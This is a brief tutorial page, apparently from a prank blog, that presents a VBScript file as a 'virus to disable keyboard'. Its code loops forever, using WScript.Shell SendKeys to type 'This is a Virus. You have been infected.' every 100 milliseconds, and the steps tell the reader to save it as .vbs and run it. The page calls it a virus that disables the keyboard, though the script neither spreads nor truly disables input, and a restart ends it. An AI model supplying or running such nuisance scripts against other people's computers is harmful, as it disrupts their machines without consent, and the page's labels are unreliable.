How to create a virus to disable keyboard ?

How to create a virus to disable  keyboard ?
1. Open the Notepad.

2. Copy the below code and paste it.

------------------------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loop
-------------------------------------------------------------

3. Save it as '.vbs'

4. Now open the file, Keyboard will not be working.

Only display a message like 'This is a Virus. You have been Infected.' and it solved by Restart the computer.